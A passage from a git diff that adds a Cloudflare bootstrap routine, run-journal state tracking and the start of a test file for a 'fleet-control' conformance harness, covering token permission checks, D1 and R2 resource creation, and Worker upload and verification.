policy.permission_groups.map((group) => { + object(group); + identifier(group.id); + if (group.name !== undefined) identifier(group.name); + return group.name; + }), + ); + const resources = object(policy.resources); + if (Object.keys(resources).length === 0) refuse(); + for (const [key, access] of Object.entries(resources)) { + identifier(key, 256); + if (typeof access === 'string') identifier(access, 256); + else { + object(access); + if (Object.keys(access).length === 0) refuse(); + for (const [nested, value] of Object.entries(access)) { + identifier(nested, 256); + identifier(value, 256); + } + } + } + const account = resources[`com.cloudflare.api.account.${accountId}`]; + const coversAll = + resources['com.cloudflare.api.account.zone.*'] === '*' || + (typeof account === 'object' && + account?.['com.cloudflare.api.account.zone.*'] === '*'); + const restricts = Object.entries(resources).some( + ([key, access]) => + (key.startsWith('com.cloudflare.api.account.zone.') && + access === '*') || + (key === `com.cloudflare.api.account.${accountId}` && + typeof access === 'object' && + Object.keys(access).some((nested) => + nested.startsWith('com.cloudflare.api.account.zone.'), + )), + ); + for (const [index, alternatives] of required.entries()) { + if (!alternatives.some((name) => names.has(name))) continue; + if (policy.effect === 'deny' && restricts) refuse(); + if (policy.effect === 'allow' && coversAll) allowed.add(index); + } + } + if (allowed.size !== required.length) refuse(); +} + +async function attestToken(sdk, accountId, APIError) { + for (const family of ['account', 'user']) { + let verified; + let token; + try { + verified = + family === 'account' + ? await sdk.accounts.tokens.verify({ account_id: accountId }) + : await sdk.user.tokens.verify(); + identifier(verified.id); + if (verified.status !== 'active') refuse(); + token = + family === 'account' + ? await sdk.accounts.tokens.get(verified.id, { + account_id: accountId, + }) + : await sdk.user.tokens.get(verified.id); + } catch (error) { + if ( + family === 'account' && + error instanceof APIError && + ([401, 403, 404, 405, 429].includes(error.status) || + (error.status >= 500 && error.status <= 599)) + ) + continue; + throw error; + } + assertZonePolicy(token, verified.id, accountId); + return; + } +} + +function d1Receipt(value, name, uuid) { + object(value); + identifier(value.uuid); + identifier(value.name); + if (value.name !== name || (uuid !== undefined && value.uuid !== uuid)) + refuse(); + return { uuid: value.uuid, name }; +} + +function r2Receipt(value, name) { + object(value); + if ( + value.name !== name || + (value.jurisdiction !== undefined && value.jurisdiction !== 'default') || + typeof value.creation_date !== 'string' || + value.creation_date.length > 64 || + !Number.isFinite(Date.parse(value.creation_date)) + ) + refuse(); + return { + name, + jurisdiction: 'default', + creationDate: new Date(value.creation_date).toISOString(), + }; +} + +async function assertAbsent(request, APIError) { + let response; + try { + response = await request.asResponse(); + if (response.status === 200) refuse('name-collision'); + refuse('provider-unavailable'); + } catch (error) { + if (error instanceof APIError && error.status === 404) return; + throw error; + } finally { + cancel(response); + } +} + +export async function bootstrapDirectConformance(input) { + const { prepared, journal, accountId, apiToken, invokeSecret, fetchRequest } = + await checkedInput(input); + delete process.env.CLOUDFLARE_CUSTOM_HEADERS; + delete process.env.CLOUDFLARE_LOG; + delete process.env.CLOUDFLARE_BASE_URL; + const transport = providerTransport( + fetchRequest, + prepared.config.referenceWorker.requestTimeoutMs, + ); + try { + const { default: Cloudflare, APIError } = await import('cloudflare'); + const { CLOUDFLARE_INVENTORY_BOUND: bound } = await import( + '../src/cloudflare-client-config.ts' + ); + const sdk = new Cloudflare({ + baseURL: API_BASE, + apiToken, + apiKey: null, + apiEmail: null, + userServiceKey: null, + logLevel: 'off', + timeout: prepared.config.referenceWorker.requestTimeoutMs, + maxRetries: 0, + fetch: proofFetch(transport, 'object', bound), + }); + const numbered = sdk.withOptions({ + fetch: proofFetch(transport, 'numbered', bound), + }); + const single = sdk.withOptions({ + fetch: proofFetch(transport, 'single', bound), + }); + const status = sdk.withOptions({ + fetch: proofFetch(transport, 'status', bound), + }); + const selectors = { account_id: accountId }; + const names = prepared.names; + if ((await sdk.accounts.get(selectors)).id !== accountId) refuse(); + const subdomain = (await sdk.workers.subdomains.get(selectors)).subdomain; + if ( + typeof subdomain !== 'string' || + !/^[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?$/u.test(subdomain) + ) + refuse(); + await attestToken(sdk, accountId, APIError); + const zones = await inventory( + numbered.zones.list({ + account: { id: accountId }, + per_page: 50, + type: ['full', 'partial', 'secondary', 'internal'], + }), + (row) => zone(row, accountId), + bound, + ); + const matches = zones + .filter( + (row) => + prepared.config.ownedHostname === row.name || + prepared.config.ownedHostname.endsWith(`.${row.name}`), + ) + .sort((a, b) => b.name.length - a.name.length); + if ( + !matches[0] || + (matches[1] && matches[0].name.length === matches[1].name.length) + ) + refuse(); + const selectedZone = await sdk.zones.get({ zone_id: matches[0].id }); + zone(selectedZone, accountId); + if ( + selectedZone.id !== matches[0].id || + selectedZone.name !== matches[0].name + ) + refuse(); + let dispatch; + try { + const namespaces = await inventory( + single.workersForPlatforms.dispatch.namespaces.list(selectors), + (row) => { + return [ + `id:${identifier(row.namespace_id)}`, + `name:${identifier(row.namespace_name)}`, + ]; + }, + bound, + ); + dispatch = { + kind: namespaces.length ? 'enumerated' : 'empty', + count: namespaces.length, + }; + } catch (error) { + if (!(error instanceof APIError) || error.status !== 404) throw error; + dispatch = { kind: 'first-page-404', count: 0 }; + } + await journal.bindBootstrapContext({ + names, + zoneId: selectedZone.id, + zoneName: selectedZone.name, + accountWorkersDevSubdomain: subdomain, + dispatch, + }); + const workerAbsent = () => + assertAbsent( + status.workers.scripts.get(names.referenceWorker, selectors), + APIError, + ); + const bucketAbsent = () => + assertAbsent( + status.r2.buckets.get(names.exportBucket, { + ...selectors, + jurisdiction: 'default', + }), + APIError, + ); + const databaseAbsent = async (name) => { + const rows = await inventory( + numbered.d1.database.list({ ...selectors, name, per_page: 100 }), + (row) => { + identifier(row.name); + return [identifier(row.uuid)]; + }, + bound, + ); + if (rows.some((row) => row.name === name)) refuse('name-collision'); + }; + let state = journal.snapshot().bootstrap; + if (!state.upload) await workerAbsent(); + if (!state.exports) await bucketAbsent(); + for (const [field, name] of [ + ['fleet', names.fleetDatabase], + ['quota', names.quotaDatabase], + ]) { + const receipt = state[field]; + if (receipt) + d1Receipt( + await sdk.d1.database.get(receipt.uuid, selectors), + name, + receipt.uuid, + ); + else await databaseAbsent(name); + } + if (state.exports) + equal( + r2Receipt( + await sdk.r2.buckets.get(names.exportBucket, { + ...selectors, + jurisdiction: 'default', + }), + names.exportBucket, + ), + state.exports, + ); + const mutate = async (kind, dispatchMutation, receipt) => { + transport.assertBudget(); + await journal.beginBootstrapMutation(kind); + try { + const value = await dispatchMutation(); + await journal.confirmBootstrapMutation({ + kind, + receipt: receipt(value), + }); + } catch { + refuse('outcome-unknown'); + } + }; + for (const [field, name, kind] of [ + ['fleet', names.fleetDatabase, 'create-fleet-d1'], + ['quota', names.quotaDatabase, 'create-quota-d1'], + ]) { + if (journal.snapshot().bootstrap[field]) continue; + await databaseAbsent(name); + await mutate( + kind, + () => sdk.d1.database.create({ ...selectors, name }, { maxRetries: 0 }), + (value) => d1Receipt(value, name), + ); + } + if (!state.exports) { + await bucketAbsent(); + await mutate( + 'create-export-r2', + () => + sdk.r2.buckets.create( + { ...selectors, name: names.exportBucket, jurisdiction: 'default' }, + { maxRetries: 0 }, + ), + (value) => r2Receipt(value, names.exportBucket), + ); + } + state = journal.snapshot().bootstrap; + const runBinding = { + version: 1, + accountId, + fleetDatabaseId: state.fleet.uuid, + quotaDatabaseId: state.quota.uuid, + exportBucketName: state.exports.name, + referenceModuleSetSha256: prepared.referenceModuleSetSha256, + accountWorkersDevSubdomain: subdomain, + }; + const bindings = [ + { name: 'FLEET_DB', type: 'd1', database_id: state.fleet.uuid }, + { name: 'QUOTA_DB', type: 'd1', database_id: state.quota.uuid }, + { name: 'EXPORTS', type: 'r2_bucket', bucket_name: state.exports.name }, + { + name: 'DIRECT_RUN_BINDING', + type: 'plain_text', + text: JSON.stringify(runBinding), + }, + ]; + const secretNames = [ + 'CLOUDFLARE_API_TOKEN', + 'FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET', + 'DIRECT_DEPLOYMENT_SECRETS', + ]; + if (!state.upload) { + await workerAbsent(); + const { generateDirectDeploymentSecrets } = await import( + './direct-credentialed-spec.ts' + ); + const { namedWorkerUploadBody } = await import( + '../src/cloudflare-worker-upload.ts' + ); + const { toFile } = await import('cloudflare/uploads'); + const secrets = { + a: generateDirectDeploymentSecrets(), + b: generateDirectDeploymentSecrets(), + recovery: generateDirectDeploymentSecrets(), + }; + const values = [apiToken, invokeSecret, JSON.stringify(secrets)]; + const runtime = prepared.config.referenceWorker; + const metadata = JSON.stringify({ + main_module: runtime.artifact.mainModule, + compatibility_date: runtime.compatibilityDate, + compatibility_flags: runtime.compatibilityFlags, + limits: { + cpu_ms: runtime.cpuLimitMs, + subrequests: runtime.subrequestLimit, + }, + bindings: [ + ...bindings, + ...secretNames.map((name, index) => ({ + name, + type: 'secret_text', + text: values[index], + })), + ], + }); + const files = await Promise.all( + prepared.referenceModules.map((module) => + toFile( + module.contentType === 'application/wasm' + ? Buffer.from(module.base64, 'base64') + : Buffer.from(module.source), + module.name, + { type: module.contentType }, + ), + ), + ); + await mutate( + 'upload-reference', + () => + sdk.workers.scripts.update( + names.referenceWorker, + { ...selectors, metadata }, + { + maxRetries: 0, + body: namedWorkerUploadBody(files, metadata), + headers: { 'Content-Type': null }, + }, + ), + (value) => { + if (value.id !== undefined && value.id !== names.referenceWorker) + refuse(); + return { + scriptName: names.referenceWorker, + tag: value.tag === undefined ? null : identifier(value.tag), + etag: value.etag === undefined ? null : identifier(value.etag), + }; + }, + ); + } + state = journal.snapshot().bootstrap; + if (state.upload.tag !== null) { + const scripts = await inventory( + single.workers.scripts.list(selectors), + (row) => { + if (row.tag !== undefined) identifier(row.tag); + return [identifier(row.id)]; + }, + bound, + ); + if ( + scripts.find((row) => row.id === names.referenceWorker)?.tag !== + state.upload.tag + ) + refuse(); + } + const { exactActiveVersionId } = await import('../src/active-route.ts'); + const deployments = ( + await sdk.workers.scripts.deployments.list( + names.referenceWorker, + selectors, + ) + ).deployments; + if ( + !Array.isArray(deployments) || + deployments.length === 0 || + deployments.length > bound + ) + refuse(); + const current = deployments[0]; + identifier(current.id); + const activeVersion = (value) => { + try { + return identifier(exactActiveVersionId(value, 'reference')); + } catch { + refuse(); + } + }; + const versionId = activeVersion(current); + const active = { deploymentId: current.id, versionId }; + if (state.active) equal(active, state.active); + const deployment = await sdk.workers.scripts.deployments.get( + active.deploymentId, + { ...selectors, script_name: names.referenceWorker }, + ); + if ( + deployment.id !== active.deploymentId || + activeVersion(deployment) !== versionId + ) + refuse(); + const version = await sdk.workers.scripts.versions.get(versionId, { + ...selectors, + script_name: names.referenceWorker, + }); + if (version.id !== versionId) refuse(); + const runtime = prepared.config.referenceWorker; + const checkRuntime = (value) => { + if ( + value?.compatibility_date !== runtime.compatibilityDate || + value?.limits?.cpu_ms !== runtime.cpuLimitMs + ) + refuse(); + equal(value.compatibility_flags, runtime.compatibilityFlags); + }; + checkRuntime(version.resources?.script_runtime); + const { providerBindingsToPlainWorkerShape } = await import( + '../src/provider-binding-inventory.ts' + ); + const expectedBindings = providerBindingsToPlainWorkerShape([ + ...bindings, + ...secretNames.map((name) => ({ name, type: 'secret_text' })), + ]).sort((a, b) => a.name.localeCompare(b.name)); + const checkBindings = (value) => { + if (!Array.isArray(value)) refuse(); + const observed = providerBindingsToPlainWorkerShape(value); + if ( + observed.some( + (binding) => + binding.type === 'unsupported' || typeof binding.name !== 'string', + ) + ) + refuse(); + equal( + observed.sort((a, b) => a.name.localeCompare(b.name)), + expectedBindings, + ); + }; + checkBindings(version.resources?.bindings); + const settings = await sdk.workers.scripts.scriptAndVersionSettings.get( + names.referenceWorker, + selectors, + ); + checkRuntime(settings); + checkBindings(settings.bindings); + if (settings.limits.subrequests !== runtime.subrequestLimit) refuse(); + await journal.recordBootstrapObservation({ kind: 'active', ...active }); + const checkIngress = (value) => { + if (value.enabled !== true || value.previews_enabled !== false) refuse(); + return { enabled: true, previewsEnabled: false }; + }; + if (!journal.snapshot().bootstrap.ingress) + await mutate( + 'enable-reference-ingress', + () => + sdk.workers.scripts.subdomain.create( + names.referenceWorker, + { ...selectors, enabled: true, previews_enabled: false }, + { maxRetries: 0 }, + ), + checkIngress, + ); + checkIngress( + await sdk.workers.scripts.subdomain.get(names.referenceWorker, selectors), + ); + const { createDirectInvocationClient } = await import( + './direct-credentialed-invocation.mjs' + ); + const client = createDirectInvocationClient({ + prepared, + journal, + accountWorkersDevSubdomain: subdomain, + invokeSecret, + fetch: fetchRequest, + }); + const observed = await client.invoke({ kind: 'control-read' }); + equal(observed.result?.binding, runBinding); + await journal.recordBootstrapObservation({ + kind: 'control-read', + ordinal: journal.snapshot().lastInvocation.ordinal, + }); + return client; + } catch (error) { + if (error instanceof DirectBootstrapError) throw error; + if (transport.failure()) refuse(transport.failure()); + if (error?.name === 'DirectInvocationError' && ERROR_CODES.has(error.code)) + refuse(error.code); + refuse('provider-unavailable'); + } finally { + transport.close(); + } +} diff --git a/packages/fleet-control/scripts/direct-credentialed-run-state.d.mts b/packages/fleet-control/scripts/direct-credentialed-run-state.d.mts index 0f8e477e..85a35118 100644 --- a/packages/fleet-control/scripts/direct-credentialed-run-state.d.mts +++ b/packages/fleet-control/scripts/direct-credentialed-run-state.d.mts @@ -1,5 +1,6 @@ // SPDX-License-Identifier: Apache-2.0 +import type { DirectConformanceNames } from './direct-credentialed-conformance-config.mjs'; import type { PreparedDirectConformance } from './direct-credentialed-conformance-preflight.mjs'; import type { DirectReferenceAction } from './direct-reference-contract.mjs'; @@ -36,7 +37,7 @@ export interface DirectInvocationReservation { } export interface DirectRunSnapshot { - readonly version: 1; + readonly version: 2; readonly binding: DirectRunBinding; readonly invocationCount: number; readonly lastInvocation: @@ -46,11 +47,86 @@ export interface DirectRunSnapshot { state: 'pending' | 'settled'; }>) | null; + readonly bootstrap: DirectBootstrapState | null; +} + +export interface DirectBootstrapContext { + readonly names: DirectConformanceNames; + readonly zoneId: string; + readonly zoneName: string; + readonly accountWorkersDevSubdomain: string; + readonly dispatch: Readonly<{ + kind: 'first-page-404' | 'empty' | 'enumerated'; + count: number; + }>; +} + +export interface DirectBootstrapD1Receipt { + readonly uuid: string; + readonly name: string; +} + +export interface DirectBootstrapR2Receipt { + readonly name: string; + readonly jurisdiction: 'default'; + readonly creationDate: string; +} + +export interface DirectBootstrapUploadReceipt { + readonly scriptName: string; + readonly tag: string | null; + readonly etag: string | null; +} + +export type DirectBootstrapMutation = + | 'create-fleet-d1' + | 'create-quota-d1' + | 'create-export-r2' + | 'upload-reference' + | 'enable-reference-ingress'; + +export type DirectBootstrapMutationReceipt = + | Readonly<{ + kind: 'create-fleet-d1' | 'create-quota-d1'; + receipt: DirectBootstrapD1Receipt; + }> + | Readonly<{ kind: 'create-export-r2'; receipt: DirectBootstrapR2Receipt }> + | Readonly<{ + kind: 'upload-reference'; + receipt: DirectBootstrapUploadReceipt; + }> + | Readonly<{ + kind: 'enable-reference-ingress'; + receipt: Readonly<{ enabled: true; previewsEnabled: false }>; + }>; + +export type DirectBootstrapObservation = + | Readonly<{ kind: 'active'; deploymentId: string; versionId: string }> + | Readonly<{ kind: 'control-read'; ordinal: number }>; + +export interface DirectBootstrapState { + readonly context: DirectBootstrapContext; + readonly fleet: DirectBootstrapD1Receipt | null; + readonly quota: DirectBootstrapD1Receipt | null; + readonly exports: DirectBootstrapR2Receipt | null; + readonly upload: DirectBootstrapUploadReceipt | null; + readonly active: Readonly<{ deploymentId: string; versionId: string }> | null; + readonly ingress: Readonly<{ enabled: true; previewsEnabled: false }> | null; + readonly controlReadOrdinal: number | null; + readonly pending: DirectBootstrapMutation | null; } export interface DirectRunJournal { readonly directory: string; snapshot(): DirectRunSnapshot; + bindBootstrapContext(context: DirectBootstrapContext): Promise; + beginBootstrapMutation(kind: DirectBootstrapMutation): Promise; + confirmBootstrapMutation( + receipt: DirectBootstrapMutationReceipt, + ): Promise; + recordBootstrapObservation( + observation: DirectBootstrapObservation, + ): Promise; reserveInvocation( serializedRequest: string, ): Promise; diff --git a/packages/fleet-control/scripts/direct-credentialed-run-state.mjs b/packages/fleet-control/scripts/direct-credentialed-run-state.mjs index 6a28a713..37ae6f02 100644 --- a/packages/fleet-control/scripts/direct-credentialed-run-state.mjs +++ b/packages/fleet-control/scripts/direct-credentialed-run-state.mjs @@ -6,6 +6,7 @@ import { constants } from 'node:fs'; import { lstat, mkdir, open, rename, rmdir, unlink } from 'node:fs/promises'; import { dirname, join, resolve } from 'node:path'; import PQueue from 'p-queue'; +import { deriveDirectConformanceNames } from './direct-credentialed-conformance-config.mjs'; import { DIRECT_REFERENCE_BODY_LIMIT, readDirectReferenceRequest, @@ -128,10 +129,11 @@ async function decodeRequest(serialized, configSha256) { } async function decodeSnapshot(value, binding) { - object(value, ['version', 'binding', 'invocationCount', 'lastInvocation']); + const keys = ['version', 'binding', 'invocationCount', 'lastInvocation']; + object(value, value.version === 1 ? keys : [...keys, 'bootstrap']); object(value.binding, Object.keys(binding)); if ( - value.version !== 1 || + ![1, 2].includes(value.version) || Object.entries(binding).some( ([key, expected]) => value.binding[key] !== expected, ) || @@ -181,13 +183,207 @@ async function decodeSnapshot(value, binding) { }); } return Object.freeze({ - version: 1, + version: 2, binding, invocationCount: value.invocationCount, lastInvocation, + bootstrap: decodeBootstrap( + value.version === 1 ? null : value.bootstrap, + binding, + value.invocationCount, + lastInvocation, + ), + }); +} + +function identifier(value, max = 128) { + if ( + typeof value !== 'string' || + !value || + value !== value.trim() || + value.length > max || + [...value].some( + (character) => + character.charCodeAt(0) <= 31 || character.charCodeAt(0) === 127, + ) + ) + invalid(); + return value; +} + +function equalShape(value, expected) { + if (expected !== null && typeof expected === 'object') { + object(value, Object.keys(expected)); + for (const key of Object.keys(expected)) + equalShape(value[key], expected[key]); + } else if (value !== expected) invalid(); +} + +function bootstrapContext(value, binding) { + object(value, [ + 'names', + 'zoneId', + 'zoneName', + 'accountWorkersDevSubdomain', + 'dispatch', + ]); + const hostname = identifier(value.names?.referenceHostname, 253); + const prefix = `${binding.resourcePrefix}-reference.`; + if (!hostname.startsWith(prefix)) invalid(); + const ownedHostname = hostname.slice(prefix.length); + const names = deriveDirectConformanceNames({ + resourcePrefix: binding.resourcePrefix, + ownedHostname, + }); + equalShape(value.names, names); + const zoneId = identifier(value.zoneId); + const zoneName = identifier(value.zoneName, 253); + if ( + !/^[a-z0-9](?:[a-z0-9.-]*[a-z0-9])?$/u.test(zoneName) || + zoneName + .split('.') + .some( + (label) => !/^[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?$/u.test(label), + ) || + (ownedHostname !== zoneName && !ownedHostname.endsWith(`.${zoneName}`)) + ) + invalid(); + const subdomain = identifier(value.accountWorkersDevSubdomain); + if (!/^[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?$/u.test(subdomain)) invalid(); + object(value.dispatch, ['kind', 'count']); + const { kind, count } = value.dispatch; + if ( + !Number.isSafeInteger(count) || + count < 0 || + count > 10_000 || + !['first-page-404', 'empty', 'enumerated'].includes(kind) || + (kind === 'enumerated' ? count === 0 : count !== 0) + ) + invalid(); + return Object.freeze({ + names, + zoneId, + zoneName, + accountWorkersDevSubdomain: subdomain, + dispatch: Object.freeze({ kind, count }), }); } +const MUTATION_FIELD = Object.freeze({ + 'create-fleet-d1': 'fleet', + 'create-quota-d1': 'quota', + 'create-export-r2': 'exports', + 'upload-reference': 'upload', + 'enable-reference-ingress': 'ingress', +}); + +function mutationField(kind) { + if (typeof kind !== 'string' || !Object.hasOwn(MUTATION_FIELD, kind)) + invalid(); + return MUTATION_FIELD[kind]; +} + +function decodeBootstrap(value, binding, invocationCount, lastInvocation) { + if (value === null) return null; + object(value, [ + 'context', + 'fleet', + 'quota', + 'exports', + 'upload', + 'active', + 'ingress', + 'controlReadOrdinal', + 'pending', + ]); + const context = bootstrapContext(value.context, binding); + const result = { context }; + for (const [key, name] of [ + ['fleet', context.names.fleetDatabase], + ['quota', context.names.quotaDatabase], + ]) { + const receipt = value[key]; + if (receipt === null) result[key] = null; + else { + object(receipt, ['uuid', 'name']); + if (receipt.name !== name) invalid(); + result[key] = Object.freeze({ uuid: identifier(receipt.uuid), name }); + } + } + if (result.fleet && result.quota && result.fleet.uuid === result.quota.uuid) + invalid(); + if (value.exports !== null) { + object(value.exports, ['name', 'jurisdiction', 'creationDate']); + const { name, jurisdiction, creationDate } = value.exports; + if ( + name !== context.names.exportBucket || + jurisdiction !== 'default' || + typeof creationDate !== 'string' || + creationDate.length > 32 || + !Number.isFinite(Date.parse(creationDate)) || + new Date(creationDate).toISOString() !== creationDate + ) + invalid(); + result.exports = Object.freeze({ name, jurisdiction, creationDate }); + } else result.exports = null; + if (value.upload !== null) { + object(value.upload, ['scriptName', 'tag', 'etag']); + if (value.upload.scriptName !== context.names.referenceWorker) invalid(); + result.upload = Object.freeze({ + scriptName: value.upload.scriptName, + tag: value.upload.tag === null ? null : identifier(value.upload.tag), + etag: value.upload.etag === null ? null : identifier(value.upload.etag), + }); + } else result.upload = null; + if (value.active !== null) { + object(value.active, ['deploymentId', 'versionId']); + result.active = Object.freeze({ + deploymentId: identifier(value.active.deploymentId), + versionId: identifier(value.active.versionId), + }); + } else result.active = null; + if (value.ingress !== null) { + equalShape(value.ingress, { enabled: true, previewsEnabled: false }); + result.ingress = Object.freeze({ enabled: true, previewsEnabled: false }); + } else result.ingress = null; + const ordinal = value.controlReadOrdinal; + if ( + ordinal !== null && + (!Number.isSafeInteger(ordinal) || + ordinal < 1 || + ordinal > invocationCount || + (ordinal === invocationCount && + (lastInvocation?.state !== 'settled' || + lastInvocation.action.kind !== 'control-read'))) + ) + invalid(); + result.controlReadOrdinal = ordinal; + const fields = [ + 'fleet', + 'quota', + 'exports', + 'upload', + 'active', + 'ingress', + 'controlReadOrdinal', + ]; + for (let index = 1; index < fields.length; index++) { + if (result[fields[index]] !== null && result[fields[index - 1]] === null) + invalid(); + } + result.pending = value.pending; + if (value.pending !== null) { + const index = fields.indexOf(mutationField(value.pending)); + if ( + lastInvocation?.state === 'pending' || + (index > 0 && result[fields[index - 1]] === null) || + fields.slice(index + 1).some((field) => result[field] !== null) + ) + invalid(); + } + return Object.freeze(result); +} + function assertPrivate(stat, directory) { if ( stat.uid !== process.getuid() || @@ -352,10 +548,11 @@ async function initializeRun(basePath, base, directory, binding) { try { handle = await privateDirectory(staging); const snapshot = Object.freeze({ - version: 1, + version: 2, binding, invocationCount: 0, lastInvocation: null, + bootstrap: null, }); await writeSnapshot(staging, handle, snapshot); if (await exists(directory)) throw new DirectRunStateError('run-exists'); @@ -404,15 +601,112 @@ function runJournal(directory, directoryHandle, base, lock, initial) { throw error; } }; + const publishBootstrap = async (bootstrap) => { + const next = await decodeSnapshot( + { ...snapshot, bootstrap }, + snapshot.binding, + ); + await publish(next); + }; + const assertSettled = () => { + if ( + snapshot.lastInvocation?.state === 'pending' || + snapshot.bootstrap?.pending + ) + throw new DirectRunStateError('outcome-unknown'); + }; return Object.freeze({ directory, snapshot() { return snapshot; }, + bindBootstrapContext(context) { + return enqueue(async () => { + assertSettled(); + const checked = bootstrapContext(context, snapshot.binding); + if (snapshot.bootstrap) { + const { dispatch: _historical, ...previous } = + snapshot.bootstrap.context; + const { dispatch: _fresh, ...current } = checked; + equalShape(current, previous); + return; + } + if (snapshot.invocationCount !== 0) invalid(); + await publishBootstrap({ + context: checked, + fleet: null, + quota: null, + exports: null, + upload: null, + active: null, + ingress: null, + controlReadOrdinal: null, + pending: null, + }); + }); + }, + beginBootstrapMutation(kind) { + return enqueue(async () => { + assertSettled(); + const field = mutationField(kind); + if (!snapshot.bootstrap || snapshot.bootstrap[field] !== null) + invalid(); + await publishBootstrap({ ...snapshot.bootstrap, pending: kind }); + }); + }, + confirmBootstrapMutation(value) { + return enqueue(async () => { + object(value, ['kind', 'receipt']); + if (value.receipt === null) invalid(); + const field = mutationField(value.kind); + if ( + !snapshot.bootstrap || + snapshot.bootstrap.pending !== value.kind || + snapshot.bootstrap[field] !== null + ) + invalid(); + await publishBootstrap({ + ...snapshot.bootstrap, + [field]: value.receipt, + }); + await publishBootstrap({ ...snapshot.bootstrap, pending: null }); + }); + }, + recordBootstrapObservation(value) { + return enqueue(async () => { + assertSettled(); + const bootstrap = snapshot.bootstrap; + if (!bootstrap) invalid(); + if (value?.kind === 'active') { + object(value, ['kind', 'deploymentId', 'versionId']); + const active = { + deploymentId: value.deploymentId, + versionId: value.versionId, + }; + if (bootstrap.active) { + equalShape(active, bootstrap.active); + return; + } + await publishBootstrap({ ...bootstrap, active }); + } else if (value?.kind === 'control-read') { + object(value, ['kind', 'ordinal']); + const last = snapshot.lastInvocation; + if ( + last?.state !== 'settled' || + last.action.kind !== 'control-read' || + last.ordinal !== value.ordinal + ) + invalid(); + await publishBootstrap({ + ...bootstrap, + controlReadOrdinal: value.ordinal, + }); + } else invalid(); + }); + }, reserveInvocation(serializedRequest) { return enqueue(async () => { - if (snapshot.lastInvocation?.state === 'pending') - throw new DirectRunStateError('outcome-unknown'); + assertSettled(); if (snapshot.invocationCount >= snapshot.binding.maxInvocations) throw new DirectRunStateError('invocation-budget-exhausted'); const request = await decodeRequest( @@ -513,7 +807,10 @@ export async function openDirectRunState(input) { throw new DirectRunStateError('run-missing'); directoryHandle = await privateDirectory(directory); snapshot = await readSnapshot(join(directory, 'journal.json'), binding); - if (snapshot.lastInvocation?.state === 'pending') + if ( + snapshot.lastInvocation?.state === 'pending' || + snapshot.bootstrap?.pending + ) throw new DirectRunStateError('outcome-unknown'); } return runJournal(directory, directoryHandle, base, lock, snapshot); diff --git a/packages/fleet-control/test/direct-credentialed-bootstrap.test.ts b/packages/fleet-control/test/direct-credentialed-bootstrap.test.ts new file mode 100644 index 00000000..a079dcc9 --- /dev/null +++ b/packages/fleet-control/test/direct-credentialed-bootstrap.test.ts @@ -0,0 +1,1434 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { createHash } from 'node:crypto'; +import { mkdtemp, readFile, rm, writeFile } from 'node:fs/promises'; +import { tmpdir } from 'node:os'; +import { join } from 'node:path'; +import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'; +import { bootstrapDirectConformance } from '../scripts/direct-credentialed-bootstrap.mjs'; +import { preflightDirectConformance } from '../scripts/direct-credentialed-conformance-preflight.mjs'; +import { + type DirectRunJournal, + openDirectRunState, +} from '../scripts/direct-credentialed-run-state.mjs'; +import { DIRECT_REFERENCE_PATH } from '../scripts/direct-reference-contract.mjs'; + +const probes = vi.hoisted(() => ({ sdk: vi.fn(), generate: vi.fn() })); +vi.mock('cloudflare', async (importOriginal) => { + const actual = await importOriginal(); + return { + ...actual, + default: class extends actual.default { + constructor(options: ConstructorParameters[0]) { + probes.sdk(options); + expect(process.env.CLOUDFLARE_CUSTOM_HEADERS).toBeUndefined(); + expect(process.env.CLOUDFLARE_LOG).toBeUndefined(); + expect(process.env.CLOUDFLARE_BASE_URL).toBeUndefined(); + super(options); + } + }, + }; +}); +vi.mock('../scripts/direct-credentialed-spec.ts', async (importOriginal) => { + const actual = + await importOriginal< + typeof import('../scripts/direct-credentialed-spec.js') + >(); + return { + ...actual, + generateDirectDeploymentSecrets: () => { + probes.generate(); + return actual.generateDirectDeploymentSecrets(); + }, + }; +}); + +const API_TOKEN = 'legacy/provider-token+sentinel=='; +const INVOKE_SECRET = 'reference-invoke-secret-sentinel'; +const ACCOUNT = 'account'; +const FLEET_ID = '00000000-1111-4222-8333-444444444444'; +const QUOTA_ID = '00000000-1111-4222-8333-555555555555'; +const DEPLOYMENT_ID = '00000000-1111-4222-8333-666666666666'; +const VERSION_ID = '00000000-1111-4222-8333-777777777777'; +const directories: string[] = []; +const journals = new Set(); +const unexpectedRequests: string[] = []; +const hash = (value: string | Uint8Array) => + createHash('sha256').update(value).digest('hex'); +const json = (result: unknown, result_info?: unknown) => + Response.json({ + success: true, + errors: [], + result, + ...(result_info === undefined ? {} : { result_info }), + }); +const absent = () => + Response.json( + { success: false, errors: [{ code: 10000, message: 'synthetic absence' }] }, + { status: 404 }, + ); +type Binding = { + name: string; + type: string; + text?: string; + database_id?: string; + bucket_name?: string; +}; +type Hook = ( + request: Request, + url: URL, +) => Promise | Response | undefined; + +async function fixture( + options: { + limit?: number; + timeout?: number; + tag?: string | null; + mainModule?: string; + } = {}, +) { + const directory = await mkdtemp(join(tmpdir(), 'direct-bootstrap-')); + directories.push(directory); + const config = JSON.parse( + await readFile( + new URL( + '../scripts/direct-credentialed-conformance.example.json', + import.meta.url, + ), + 'utf8', + ), + ); + const wasm = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0]); + const reference = + "import manifest from './direct-run-manifest.js'; import wasm from './fixture.wasm'; void wasm; export default {fetch(){return Response.json(manifest.contractVersion)}};"; + const tenant = + 'export class Maintenance {} export class Runner {} export default {};'; + config.referenceWorker.artifact = { + bundle: './reference.mjs', + mainModule: options.mainModule ?? 'worker.js', + sha256: hash(reference), + auxiliaryWasm: [ + { file: './fixture.wasm', name: 'fixture.wasm', sha256: hash(wasm) }, + ], + }; + config.referenceWorker.maxInvocations = options.limit ?? 20; + config.referenceWorker.requestTimeoutMs = options.timeout ?? 1000; + config.referenceWorker.invocationTimeoutMs = 2000; + config.deployment.artifact = { + bundle: './tenant.mjs', + mainModule: 'worker.js', + sha256: hash(tenant), + }; + const configPath = join(directory, 'config.json'); + await Promise.all([ + writeFile(configPath, JSON.stringify(config)), + writeFile(join(directory, 'reference.mjs'), reference), + writeFile(join(directory, 'tenant.mjs'), tenant), + writeFile(join(directory, 'fixture.wasm'), wasm), + ]); + const prepared = await preflightDirectConformance({ configPath }); + let journal = await openDirectRunState({ + configPath, + prepared, + accountId: ACCOUNT, + mode: 'run', + }); + journals.add(journal); + const names = prepared.names; + const root = 